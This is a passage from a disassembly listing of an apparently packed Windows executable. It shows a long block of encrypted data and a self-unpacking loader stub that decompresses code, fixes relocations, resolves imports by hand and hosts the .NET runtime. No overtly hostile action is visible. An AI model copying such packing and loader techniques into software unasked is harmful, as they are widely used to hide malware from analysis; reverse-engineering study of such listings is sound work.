0A67AF7A6h, 0B13F93A8h dd 43C5DCFDh, 7772F849h, 4C2F301Eh, 606E3D23h, 0EF698811h dd 7BB7D45Eh, 0C35B4C26h, 1E7D0808h, 57C07164h, 0AAC1DACh dd 0FC7C6E84h, 0D8A69301h, 0EB18F7AFh, 6F59E905h, 97C419FFh dd 2FEB9492h, 0BBD59BD7h, 0C8C5587Dh, 0CA83BF3Ah, 0D1001EE2h dd 9A56534Ah, 0F8312D7Ch, 31267B6Fh, 0BEA8A82Dh, 310C63FCh dd 0C1D62530h, 42AD4A11h, 3078009Ah, 6EA0A2Bh, 0A597DCE6h dd 435BB710h, 914D448Ch, 3E1A6D29h, 33ECCD51h, 0A2C86B39h dd 0DD1C7A8Bh, 0BA7F70C8h, 4F488051h, 13C8E62Bh, 0B0382DF1h dd 51424554h, 22C2B2B5h, 30603AB5h, 4B603472h, 956BA21Fh dd 6B5BE1EDh, 90F34726h, 3B59CA04h, 0BC97CC53h, 0FFDE387Bh dd 0BD67BD0Dh, 0BF619C90h, 5FD48D91h, 0D13B2EB0h, 7A9B86D8h dd 23C31341h, 0BC35956Ch, 0B4284F15h, 374B7C4Bh, 70EBEF92h dd 0B7A45DD0h, 61870FA3h, 794973E9h, 0A5DDC3F7h, 0B0D4F172h dd 2CC2E10Ah, 663C4743h, 91DC245Eh, 8FE36E61h, 0FA288E3Ah dd 0C0A27669h, 15065771h, 9FA92D27h, 0F99B38BDh, 0EA9736CDh dd 2B119DE9h, 5FB3966Ah, 0F3ED7079h, 0C81106A0h, 0ADE8E417h dd 0AF8985B6h, 3C8F6FB0h, 923A1E27h, 4581DD02h, 0C0B76FA9h dd 0ABFF0416h, 5B06C152h, 6BDA47Bh, 0B0E5633Ch, 0A3BF3B0Ch dd 159C483Bh, 0FDE8F8CDh, 0B105C50Eh, 450EC38Bh, 3A8BCD15h dd 1D4245EEh, 7E284923h, 4ED4367Ch, 438E9F70h, 0EEA713D5h dd 0C6E13876h, 7C4326A0h, 3460893Bh, 0E93DEA4Ah, 0F9DAF113h dd 4447D59Dh, 55159B3Fh, 0A0718854h, 559C6AFDh, 2D4F861h dd 41E522FDh, 4EA49D1Bh, 8C09267Dh, 1726D4A3h, 92B385F4h dd 0D644F19Dh, 89CD5ED7h, 8B99C53Dh, 0BEC0DE0Ah, 2B7F9314h dd 7B9B5543h, 330186F8h, 64A0A642h, 577E9818h, 6EA1CAD4h dd 6C7C4504h, 9E0B9603h, 0C115355Ah, 0D28EF9B0h, 0EF8B5DC4h dd 2228E753h, 0F3D8B33h, 2521610Eh, 0C545B43Eh, 47515963h dd 2635CC4Dh, 0C5B6556Eh, 8DF2CE8Eh, 0AE5B13EAh, 0E67FBD52h dd 0EDA77213h, 0C3918742h, 99524229h, 41409CEDh, 0DEE95E69h dd 8D3DECEAh, 0E6021385h, 0EE7C6B0Eh, 0B10BCACAh, 0CA1D4F89h dd 0A608DBACh, 57D84953h, 1D1EE64Ch, 0C9846F5Dh, 8B0728EEh dd 0AEF89FEEh, 778F6BA2h, 0E704ACE1h, 1DF11636h, 27CD935Fh dd 5D11D15Ch, 0AEA1CD7Dh, 7547AC42h, 821DD767h, 7A807A2Eh dd 560298E7h, 0F9EA632Fh, 25A0A29Dh, 2441D3B4h, 0A8FA57B6h dd 7C9A382Ah, 93DA6D6Fh, 4A91553h, 78F579A5h, 78898002h dd 8CB46E3Dh, 0AFFEB47Eh, 1006443Ch, 8B1B3EBAh, 36A6CF7Dh dd 4D07150Ch, 991F66B3h, 778C9C68h, 0B0D7A206h, 3BE13F11h dd 0D8631DFFh, 65DCB239h, 29D27DCAh, 9C919C41h, 8C446978h dd 0BA07DECFh, 0C6AF995h, 0B612F93h, 3F70D5FEh, 8079D3Bh dd 0DE880D13h, 840C0194h, 32742A76h, 9A894613h, 808D4B4Fh dd 7181FAFEh, 9C911C23h, 910F5511h, 4ED5B1B3h, 1E174107h dd 17B77342h, 0CD4C6C63h, 0FF627BD8h, 9F4CEA97h, 42A98763h dd 3447DFFDh, 0A1323F39h, 0C219906Bh, 0C63EC616h, 0E6C254DEh dd 58F63275h, 0FB8EEBBCh, 6E42F822h, 0AF69EB28h, 5F058ED0h dd 0ABD9DE62h, 0B6D5A96Eh, 277FE589h, 3070DC3Fh, 5925A82Eh dd 34994FE7h, 8AF4A474h, 2C875779h, 0DDFB86C6h, 7B0D491Ah dd 90ABE8ABh, 0CAE8E4E8h, 0D5786A02h, 19BD3999h, 22FF0E21h dd 88229409h, 0B4ABEE68h, 31BE9AB7h, 7FF96ECFh, 0FAD779C4h dd 0BD00F925h, 0D018563Dh, 0E03683DEh, 3A623BE8h, 0F27A7A55h dd 2E2D4CE0h, 0A0282AEAh, 525C582Ch, 0C821D77Dh, 193A9336h dd 0CFE88B33h, 6FE66123h, 6C7B3D1Ah, 7D52276Dh, 190B1339h dd 0CE321148h, 40CB1673h, 55BF3F51h, 0C3FA5CF2h, 6F016B03h dd 0C01FBCD1h, 19983CF3h, 213FFBF9h, 0A1C62859h, 7C039C95h dd 16388E8h, 23D4B0CBh, 1BCA5751h, 91FDD201h, 0B3CDF0DAh dd 50F9E692h, 22F9C598h, 1C1B1164h, 93F4F904h, 4F5C13BAh dd 70A35260h, 8CAB4B0Dh, 0B9EB673Fh, 733E11A3h, 1D6D496Fh dd 3AFD77AEh, 4039F957h, 3828022Bh, 538BF298h, 0E1D1A7F9h dd 294549AFh, 11A41C5Ch, 73B94783h, 7BAA394Dh, 21000BAAh dd 0C3AB41Fh, 0F259F01Fh, 4D6952DDh, 5D56F4CAh, 0B95B8CD3h dd 0F0828BAFh, 0A78B8671h, 189AEA62h, 9F924C66h, 0FC518D61h dd 3E22CD3Ch, 0D1AE2828h, 814BAABAh, 0AB713A5Bh, 7C2F0963h dd 7F5D1973h, 0C3B1556Ch, 0C1FBD4CDh, 46E88151h, 4DFFF7D5h dd 2280A0D4h, 0F4511B7Ch, 0C008FC5Bh, 2267ED7Ch, 0C427C279h dd 0AC79B5D3h, 3879AEE3h, 49DE8AAEh, 0BA480662h, 0C2E11032h dd 36E580Eh, 6D9398FAh, 579A6BE1h, 45DF3E21h, 331F47C3h dd 0CF384799h, 0AD449433h, 18038FA8h, 9C24B342h, 42D19C32h dd 0DFF24519h, 328747D5h, 0A069D329h, 2B63A3BDh, 409394B8h dd 77D236F1h, 0A968B297h, 8B7795E4h, 0A5298A00h, 4AAF39BBh dd 0BE8A8F0h, 0BC58C083h, 3BBD6283h, 728AEF86h, 5D8D9A4Dh dd 781305EAh, 0EAFAAA8Eh, 0F02D0694h, 3EAF2461h, 2F95A9EDh dd 0C013A207h, 34688A99h, 0F77A408Ah, 7DC2D8A9h, 8AC686B3h dd 7649EE56h, 0B4FBC0F6h, 17404C99h, 0E9A69243h, 0C77BB0C0h dd 31C5558Fh, 5392ACE5h, 28D9339Eh, 0C0258FE7h, 0E6BF70E3h dd 0C5EDF008h, 0EFD378CAh, 6C58687Dh, 456A2F84h, 939F963Ah dd 0F6B6938Ch, 3DDB3B36h, 3533F2CDh, 5E5FFAC4h, 0A727A8B2h dd 8C2E3A6Dh, 55425BB2h, 0A8C47C08h, 10D206A8h, 0BF7EFE78h dd 0FB746BF9h, 0FC185AA8h, 7D3EE497h, 0F5A2024Dh, 81C70729h dd 0BD12DE24h, 0DE873E1Bh, 0C90E90B3h, 0F3E9607Dh, 6558DA94h dd 0AA28EC64h, 573D7355h, 0C6CFF05Dh, 10A6F007h, 0BD478F3Eh dd 0BB2D1835h, 9A5448D0h, 2A0CF6CCh, 5B49F295h, 0D2BE177Ch dd 79880ACFh, 0C87CD9B9h, 0BE37C4FDh, 2280A52Bh, 140079AFh dd 0F7C84E16h, 181376E4h, 86225E28h, 7A3168ACh, 5617C19Ch dd 0B662616h, 0D9C56D17h, 5D134ECCh, 7CD3A05h, 0C811FF9Fh dd 3E5DFDECh, 906A8399h, 66EEDC07h, 431C57A9h, 0F115D12Eh dd 8C9EB3EEh, 4EF02765h, 0CA951A9h, 678AD974h, 23FAD0BBh dd 0D78E71BCh, 5843BA2Fh, 5C1B23EBh, 48074698h, 0B1CAABCDh dd 970A1978h, 8F015C14h, 614FBBD3h, 0B152AF5Dh, 13678E30h dd 986F76h, 7ABB4E2Bh, 29EE4191h, 4B7B5E21h, 0EB1C0933h dd 66F82C35h, 0DB99B42Ah, 0DE196786h, 0D6C84363h, 0B8DF1FDEh dd 0FBD58B25h, 0EDF8E07Ch, 63AE366Fh, 0AF18D49Ah, 13A03637h dd 29BD6DE5h, 8BC4A9CCh, 92FA097Dh, 11E8ED59h, 24CD2F10h dd 0BBF1193Dh, 0E0C0F38Ch, 0CA71088Dh, 990307E9h, 1B3962A8h dd 0E2E1B7C0h, 96DF475Fh, 0C1748A38h, 0EEDCC610h, 3AA8E0B3h dd 2029260Bh, 0EAF3F725h, 4A3C5DC5h, 2E0A7E1Ch, 0C4163BB3h dd 7A8EA64h, 0E1E64326h, 0E04B6809h, 26EC908Ch, 0E23DDC21h dd 0DFBB461Dh, 5968146Fh, 91F2DD7Fh, 0F95C33E1h, 2F6F2AB7h dd 3ACB8DB9h, 9C782609h, 99CDD3F4h, 0BA9EDAF2h, 4D22511Fh dd 24475310h, 7C659F55h, 7C34B3D3h, 0ED41A8Ah, 8045ED94h dd 0DECEA719h, 0CBD294h, 0DB78A658h, 0B10C6AC0h, 315EFF22h dd 0E36DB9C6h, 0F990EBC7h, 0CD3C9247h, 64C9FFF0h, 967EFAF2h dd 4428E33Fh, 0F5C63832h, 0A97A4C79h, 9A5B7569h, 88F6EA63h dd 3945E7F0h, 257074D3h, 8ECCF161h, 3614070Fh, 751480D4h dd 9B41413h, 0C74DA563h dd 5989CEC6h, 7C19A6B7h, 60251CC2h, 0B45F64BCh, 0F744977Dh dd 0E6FE1A80h, 0EB12D2A4h, 0DBB611BCh, 499359B2h, 0E3111AC0h dd 9E53C0B2h, 0B3EB2909h, 0F8D9C6A7h, 0C225D213h, 0FB522AC3h dd 0C4A9A7C3h, 4936F62Fh, 142D6323h, 0ED8D478h, 948EB94Fh dd 70D9B89Bh, 0B9667AB9h, 7D495B64h, 2F9A763Ch, 9A226045h dd 11FEC803h, 0CEB93FE4h, 0D4861409h, 57028FC7h, 83737CEEh dd 23D066BDh, 70860010h, 0FE2B1215h, 70BE8EDDh, 8888FFC3h dd 0CB466106h, 0BEBD9248h, 595384ACh, 0A9BE95F4h, 0CEDF5BECh dd 8DB9A0FDh, 63BDA763h, 9C7CD398h, 16776BF4h, 0B6AD897Fh dd 0C4B419E1h, 7749160Fh, 65206B29h, 6F233816h, 4533DD61h dd 33002C19h, 0E6CE71D0h, 0A376D277h, 2479C8B1h, 0A86826D2h dd 492486F8h, 0F4D4C501h, 0F105BB28h, 4305C93h, 5F5272D2h dd 1E73FC42h, 0C0252943h, 79B85775h, 0BE3670BCh, 5B8B1997h dd 929BB6F4h, 0CC7155E6h, 7504ECD4h, 0E73A7E4Dh, 9C5D5D46h dd 777D8AFBh, 69F64399h, 15BE9613h, 30A50770h, 3405B5D7h dd 89008DC1h, 8E1D383h, 7891C711h, 0FC61DCCCh, 0D9989674h dd 797F30E1h, 0B753125Dh, 259E3F5Ah, 3EC5BE01h, 6F0A0622h dd 0FD280B5Ch, 0CD9079B2h, 43683EE0h, 9890EB3Fh, 49DC611Bh dd 43329842h, 1C56BFBBh, 94D5CE64h, 0B0C13A61h, 0CC133DE7h dd 1FFFF1B3h, 7F8C2711h, 0F97AD665h, 0DACA308Dh, 0FFA7B324h dd 0D8609D3h, 341E71BFh, 2A746328h, 0B66212B5h, 0FB10CCEh dd 5B893AA3h, 9132AFE9h, 0B64077EFh, 819FD88Ch, 0CAA17824h dd 6AB898DAh, 0AE0973A5h, 5E0283B9h, 0A1FD9A13h, 0B6755707h dd 2356BF8Fh, 0BE59249Fh, 4337C11h, 0E2A449FFh, 22AC4B32h dd 677C9FDDh, 12771C16h, 0C8377D86h, 0CEDC3523h, 4BA942CBh dd 753C36A7h, 3C735099h, 57D4C636h, 78B0C68Bh, 0F3B5FF20h dd 0B1B4FB27h, 0E283F4CAh, 2620124Bh, 0DF20760Ah, 63EF279Fh dd 0B60857A0h, 50413EA9h, 29A6A71Eh, 0C013367Ch, 582D901Dh dd 436D4F24h, 0D2392AF6h, 3121235Ch, 992E5DBEh, 2A38A844h dd 6DE3CAB7h, 34683B43h, 3088D083h, 73DCCA1h, 22AC1B99h dd 0E9853085h, 7446C59Fh, 7CE2E36h, 7824CF28h, 0AA7DAEE1h dd 59AFEA8Ch, 2AC2E4FCh, 0F6497FA3h, 7EE71350h, 1AEE44E2h dd 8FF5680Fh, 0A5A39B46h, 0DEBC0629h, 76D50478h, 9034F9FBh dd 6019B7F2h, 20435EADh, 0B73EA2DDh, 0AE616557h, 8513AE7Ah dd 0B950132Ch, 289A0CB2h, 0BFE826F7h, 18C18CC7h, 89F8E0B8h dd 0CBABB5E1h, 4F4AB35Dh, 0B7B4A3Ch, 7BC9793h, 35F8B504h dd 72746A51h, 6308595Fh, 0C8A81DB5h, 71FEBA1Ah, 0E095E447h dd 3821D09Fh, 3B16BBB7h, 0F85473FFh, 38574DBCh, 511FEA95h dd 0B7F80A9Ch, 0DB881A06h, 0C798B7D5h, 4A07840Ah, 0CBE2B3A5h dd 0BB7609F1h, 69EEB39Eh, 31F4F4EEh, 0A2CC6313h, 1FCD6B4Ah dd 0D4305677h, 3E6CD55Ah, 36411F6Ah, 1B940C67h, 0D2F17FB9h dd 0E2BC9A25h, 7F8049BBh, 94179ACAh, 0AD609435h, 0BD6ED300h dd 5550F478h, 0C2D0CEABh, 9E43A855h, 0AA9A0D8Ch, 1E3E3B74h dd 692B79F5h, 89032C5Dh, 7638A330h, 7DA34E95h, 53074F5Fh dd 5ABA17B5h, 0D8163EBFh, 6F98654Dh, 860F7291h, 5A88D806h dd 7511842Ch, 23F5C293h, 2C5092AFh, 62D3479Fh, 0E4B87334h dd 102405D8h, 25CD978Dh, 4E038628h, 48D59228h, 2A3C635h dd 639CC847h, 2EC74C7h, 5F2C234Dh, 0F4F4CC6Fh, 0D48D7D1h dd 0DB13EDEFh, 75AE8420h, 0F20DEE06h, 2F95E836h, 9F2999FAh dd 0B93DCB78h, 0D6D5537Bh, 458441Dh, 64BC60DDh, 908CEF98h dd 0D42C971h, 3921F30Ah, 0D095D920h, 0B73E7Dh, 0A94F29E8h dd 1703959h, 81A5F230h, 0B3EB5F5Ah, 525C06CEh, 0C0BCAEF8h dd 0B347C581h, 0E6B58662h, 0CECA3101h, 2FF58EE5h, 39A2448h dd 56DF71Eh, 0A155542Eh, 7FDD3A3Eh, 2E6027Ah, 0D000C4EEh dd 0C28A9B0Ah, 295C890Ch, 0B768E03Ch, 9AA3CAF1h, 73BB746Bh dd 0B21BD639h, 0D8834485h, 8BA918Ah, 0D452868h, 0BEFADA15h dd 80CB6F9Dh, 91C4B553h, 18955E66h, 7A3B7088h, 0B8FB85BAh dd 1423B06Dh, 6D34B253h, 5329534Fh, 17B3C8C6h, 0A8C14336h dd 0DC21BA44h, 70BFDAC2h, 2AD943EDh, 207FA2A6h, 144CDE9Dh dd 2EA7B1C9h, 0A462EFA2h, 0E4B4790h, 0D15F112Dh, 74DACA78h dd 0E57B8069h, 92A20CF0h, 0CDF5F8FEh, 12EC3671h, 9030E979h dd 0C5C398A5h, 0F803EDF0h, 0A17E52BEh, 0E40F7A02h, 0D43A0A50h dd 5AB33CABh, 0E1378FFh, 0C03DBDABh, 8EB8675Ch, 9AEFA893h dd 0A244F68Bh, 0B9E82B50h, 0F0F29FC8h, 7BECC11Eh, 4FE2DE7Bh dd 25E42AAFh, 0F240BCDDh, 0A9D1264Dh, 0E432B69Eh, 0CC887DF9h dd 6D44CAE4h, 0A2C1416h, 0D714AE2Eh, 10A0F101h, 0C8133CF8h dd 83AEF8FCh, 63E74751h, 0FCBD467Ch, 0B47E416Eh, 5A95CBEDh dd 0D4C3B3C4h, 2278279h, 3DAE549Ah, 4D5369C6h, 73377AA0h dd 1E29DBAAh, 0F3AE1545h, 82F961E8h, 0C5F24908h, 854BED6Eh dd 8F7F5CA7h, 584AAFD4h, 625050E4h, 0C72B81EBh, 0CA82C4F1h dd 0F5E2D9F6h, 2506DB96h, 0E736EC53h, 15645D4Ah, 0A21ECC4Bh dd 297D0946h, 6A5C473Bh, 825F7044h, 3A67EF5h, 0E2E8776Dh dd 18FE7B39h, 0A7329BFBh, 2EC26A89h, 0AD778B5Dh, 95F432A7h dd 97929508h, 4625BE30h, 0F35A3FE2h, 9ED8AC23h, 0CF210519h dd 938C429Ah, 9722ADD4h, 9B5EB5E0h, 7FE2C205h, 6368C457h dd 0E201EAFCh, 532AA212h, 5BC41964h, 0AE605300h, 6C9D0101h dd 6587BA71h, 0B9EC9909h, 0BD9A7BB2h, 378517Fh, 0F76DC66h dd 0D671F305h, 6223FD6Eh, 87D66C0Eh, 0F226D11Dh, 782DE0FCh dd 468E684Bh, 0B72F5428h, 5A8180C6h, 5448CCFEh, 436FA876h dd 17406E22h, 3559C16Ah, 0BC79EA2Eh, 0FBA270F1h, 6773FFF9h dd 0E8749962h, 8501C59h, 0F1FD443Bh, 6ECB6728h, 4CD14A76h dd 0DA47C45h, 1BDCBE7Ah, 6E186D3Ah, 0CA92BF61h, 647C9572h dd 0E2B2BC93h, 26227208h, 0E64F7C57h, 3C0BA4A7h, 1CB397h dd 0F4E66FAEh, 44948B0h, 571CB7F6h, 1410215Ah, 9D9BE052h dd 0B73183E9h, 0BF5BD41Bh, 0A74A12Eh, 1B512FEh, 0B56FDB75h dd 0C5871452h, 98953D0h, 0BDF2DDD2h, 0D7F5613Fh, 0CFE951C8h dd 0C45C6519h, 0DFBCC069h, 2C96234Bh, 4ED9C2B8h, 0EF3A1F9h dd 0FE13977Ah, 3B937447h, 0D5554CAEh, 907F8A7Dh, 155E3D67h dd 7123B953h, 0B3922FA2h, 83676275h, 5C6A7CB4h, 0F9A9F7FFh dd 0B2D3F471h, 59C1AADCh, 25937991h, 0EE06E48Fh, 1EC8160h dd 7AA6F2CCh, 1640A991h, 34D86052h, 0C342C439h, 5D34699Eh dd 0FA63EF23h, 0E4FD0320h, 203BF4CFh, 3A2EBB14h, 0BA06AACBh dd 42BC550Dh, 5944768Ah, 9DAA8829h, 0FC9A3642h, 0F458FAEDh dd 6B01BB9Ch, 0A0C07D2Ch, 0F894C5AAh, 6218E96Bh, 0EFDF75A9h dd 0A747F7D0h, 8E141EF7h, 82DD0AF9h, 0E3CA0E79h, 193C7549h dd 6F394B13h, 7EDA957Eh, 0AE7473C4h, 0FC244978h, 0DC478AEEh dd 7928394Ch, 22FEC3C2h, 0F6837033h, 84C2AB4Eh, 0F72DC339h dd 0EA399A2Ch, 914F861Ch, 5DEB377Ch, 7C849A44h, 0BEA088F3h dd 0F42001C0h, 0E34EA4F1h, 0DD2FD976h, 37840030h, 0AA03832Bh dd 70E1185Dh, 98C07884h, 0D713FC64h, 9AF1BCEBh, 0D7F8EFA3h dd 0DB8DA63Ah, 95CA503Bh, 0CE79208Ch, 0C39E69CEh, 6BD5B932h dd 6921E3Ch, 17729485h, 94A03C10h, 2C64393Ch, 8FEDA211h dd 9AB51445h, 0B23B17D5h dd 9104A31Ch, 0CEBCC40Dh, 92CD80B7h, 0A3AE1C5Ah, 3B4E6787h dd 0E02F3D2Ah, 83BFD332h, 0A1C145CFh, 7310DFA9h, 88FBFCEh dd 0DA7B66F3h, 0CDA4CC30h, 0F2CC100Bh, 477B1705h, 9AC68AD6h dd 8BAF8E12h, 0A249BEE7h, 0DE7F0219h, 39FE6C5Ch, 46E84C01h dd 300753C3h, 5A3F38F1h, 37B56867h, 1F400A17h, 814D40D9h dd 0BC166034h, 0B1858766h, 184FF547h, 1F29A59Bh, 0C6E26D07h dd 0D0617F93h, 9C23B660h, 8B002A58h, 58A54E71h, 441EAD83h dd 71A900D8h, 0E26CABBDh, 892503AEh, 0F9CC1E4Eh, 83075324h dd 2D55DECFh, 7F4F5F99h, 0D218EAD5h, 0C7281484h, 395715DFh dd 2629587Ch, 50F15337h, 655F4B55h, 0B01470FDh, 725FFE43h dd 29014AB6h, 0C9FBA470h, 5833C252h, 440E0CF9h, 55014DFh dd 2C90D657h, 0FA3D5F91h, 0BA37835Fh, 0A3855553h, 0D34C7299h dd 68B0FFC6h, 4FE7C60Ch, 42D5705Bh, 0E26FDCE3h, 0C7FD71ADh dd 83C3012h, 0EB9187CCh, 0A4308482h, 0F06BB5CCh, 830FB867h dd 8E7DD3A4h, 225AE7C2h, 298A4560h, 4A5FB59Bh, 72F18199h dd 0DEB21EDFh, 456607ADh, 0DE4FD514h, 75B77ECBh, 8EB2E5A6h dd 3BE34173h, 0D945F29Dh, 680D337Ch, 1DEA0F9Eh, 35E2772h dd 7180119Bh, 48AAF482h, 0F5CD78A2h, 0F968E6F0h, 8BDDFE63h dd 0B987E789h, 0A763301h, 94597AC4h, 297B07DBh, 0C35121ADh dd 1C76D333h, 162EBEC4h, 0E3DBEE09h, 1FA3FB43h, 0C91CF8B9h dd 5C788CD7h, 60E91D10h, 5FE466FFh, 0E0E9AEh, 0E0F130C9h dd 0F4BEABCAh, 0D7687A0Bh, 5A375B1Dh, 126362C4h, 4300E9DAh dd 4C7C69BFh, 44B4CE94h, 4463AA87h, 9DFC5E5Eh, 59E64D81h dd 5D1ECC99h, 1176C6E6h, 884CAC55h, 232405EFh, 4F472D9Dh dd 0B1CC4614h, 33B05820h, 0F7439468h, 0E2369485h, 195465C2h dd 0BF6788B1h, 7E7D0164h, 3859B925h, 7FCAD9A4h, 0EF0BF6D9h dd 460309B1h, 83DC215Dh, 0C8B03124h, 0DBE13CD4h, 0A917010Fh dd 0C7C2C4CEh, 0BF6626Ah, 0CA99C278h, 0ACAE8EFCh, 3231D627h dd 0CBEDA98h, 4A9A1160h, 0CB5D8C9Fh, 0D3793269h, 298CCD7Ch dd 7BA6FDE1h, 583BB988h, 81657029h, 0DFA02066h, 0CD23AE89h dd 7A60D5FFh db 0FEh _pdata ends ; Section 3. (virtual address 00219000) ; Virtual size : 0000181E ( 6174.) ; Section size in file : 0000181A ( 6170.) ; Offset to raw data for section: 00004600 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 619000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_619000 dd 175Eh ; DATA XREF: start:loc_619A55r ; start+21o dd offset sub_61A237 dd 0 dword_61900C dd 0 ; DATA XREF: sub_61A237+3r ; sub_61A28D+7w dword_619010 dd 0 ; DATA XREF: sub_61A237+32w ; sub_61A28Dr dword_619014 dd 0 ; DATA XREF: sub_61A237+3Cw ; sub_61A28D+1Fr dword_619018 dd 0 ; DATA XREF: sub_61A237+44w ; sub_61A28D+19r dword_61901C dd 0 ; DATA XREF: sub_61A237+4Cw ; sub_61A28D+13r dword_619020 dd 0 ; DATA XREF: start+116r dword_619024 dd 0 ; DATA XREF: start+26w start+2Br ... dword_619028 dd 0 ; DATA XREF: start+38w start+4Cr ... dword_61902C dd 0 ; DATA XREF: start+3Er ; start:loc_619A96w dd 2 dup(0) aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+734o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+595o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+576o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+200o align 10h dword_619150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_61A2B8+131o aWks: ; DATA XREF: sub_61A2B8+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_61A2B8+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_61A2B8+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_61A2B8+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_61A2B8+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_61A2B8+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_61A2B8+11o align 4 dd 219200h, 2 dup(0) dd 219304h, 219234h, 219228h, 2 dup(0) dd 21932Ch, 21925Ch, 5 dup(0) dd 219268h, 219276h, 219286h, 219298h, 2192AAh, 2192BEh dd 2192D0h, 2192DEh, 2192F4h, 0 dd 219312h, 21931Eh, 0 ; ; Imports from KERNEL32.dll ; ; BOOL __stdcall VirtualFree(LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType) VirtualFree dd ? ; DATA XREF: sub_619960+ADr start+2E0r ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) VirtualAlloc dd ? ; DATA XREF: sub_619960+65r start+75r ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) GetProcAddress dd ? ; DATA XREF: start+523r start+545r ... ; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags) LoadLibraryExA dd ? ; DATA XREF: start+43Br start+479r ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) GetModuleHandleA dd ? ; DATA XREF: start+425r ; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) VirtualProtect dd ? ; DATA XREF: start+40Dr start+5C9r ... ; void __stdcall ExitProcess(UINT uExitCode) ExitProcess dd ? ; DATA XREF: start+20Fr start+4AEr ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize) GetModuleFileNameA dd ? ; DATA XREF: start+AAr ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) LoadLibraryA dd ? ; DATA XREF: sub_61A2B8+9r dd 0 ; ; Imports from USER32.dll ; wsprintfA dd ? ; DATA XREF: start+493r start+57Er ... ; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType) MessageBoxA dd ? ; DATA XREF: start+207r start+4A6r ... dd 0 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_619338: ; DATA XREF: sub_61A2B8+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_61A2B8+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_619358 proc near ; CODE XREF: sub_6195EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_6193B0 push ebx mov [ebp+arg_0], edx loc_619373: ; CODE XREF: sub_619358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_61937F sub edi, esi or al, 1 loc_61937F: ; CODE XREF: sub_619358+21j cmp esi, 1000000h jnb short loc_6193AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_61939D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_6193A2 ; --------------------------------------------------------------------------- loc_61939D: ; CODE XREF: sub_619358+37j mov bl, [edx] inc edx mov [ecx], edx loc_6193A2: ; CODE XREF: sub_619358+43j movzx edx, bl shl edi, 8 or edi, edx loc_6193AA: ; CODE XREF: sub_619358+2Dj dec [ebp+arg_0] jnz short loc_619373 pop ebx loc_6193B0: ; CODE XREF: sub_619358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_619358 endp ; =============== S U B R O U T I N E ======================================= sub_6193BA proc near ; CODE XREF: sub_61947F+1Dp ; sub_6194B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_61942B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_619427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_61940E mov dword ptr [ecx+10h], 1 or dl, 0FFh 